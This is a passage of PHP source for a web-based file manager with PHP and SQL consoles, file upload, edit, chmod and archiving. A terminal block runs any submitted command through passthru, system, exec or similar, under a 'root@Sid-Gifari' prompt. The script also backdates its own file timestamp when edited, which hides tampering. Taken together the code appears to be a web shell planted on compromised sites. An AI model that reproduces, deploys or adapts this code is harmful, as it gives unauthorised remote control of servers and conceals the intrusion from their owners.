p8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
